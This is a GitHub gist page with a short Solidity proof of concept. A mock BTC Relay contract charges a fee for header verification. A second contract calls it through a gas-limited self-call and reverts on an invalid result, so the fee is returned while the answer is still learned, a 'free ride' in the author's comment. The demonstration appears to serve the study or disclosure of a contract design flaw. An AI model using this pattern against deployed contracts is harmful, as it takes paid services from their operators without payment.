Last active
March 23, 2017 02:16
-
-
Save axic/0b262ff6813ac8c3971ff399f2e286ce to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract btcRelay { | |
function verifyHeader(uint hash) payable returns (uint) { | |
return (hash == 42) ? 1 : 0; | |
} | |
} | |
contract btcRelayFreeVerifyHeader { | |
btcRelay btcrelay; | |
function btcRelayFreeVerifyHeader() payable { | |
btcrelay = new btcRelay(); | |
} | |
function executeRelay(uint hash) external { | |
uint result = btcrelay.verifyHeader.value(100)(hash); | |
// if it is invalid header, fail transaction and enjoy a free ride | |
if (result != 1) | |
throw; | |
} | |
function trickRelay(uint hash) returns (bool, uint) { | |
uint safelimit = 10000; // set this to the average gas a verification takes | |
bool ret = this.call.gas(safelimit)(bytes4(keccak256("executeRelay(uint256)")), hash); | |
if (ret == true) { | |
// valid header | |
return (true, this.balance); | |
} else { | |
// invalid header | |
return (false, this.balance); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment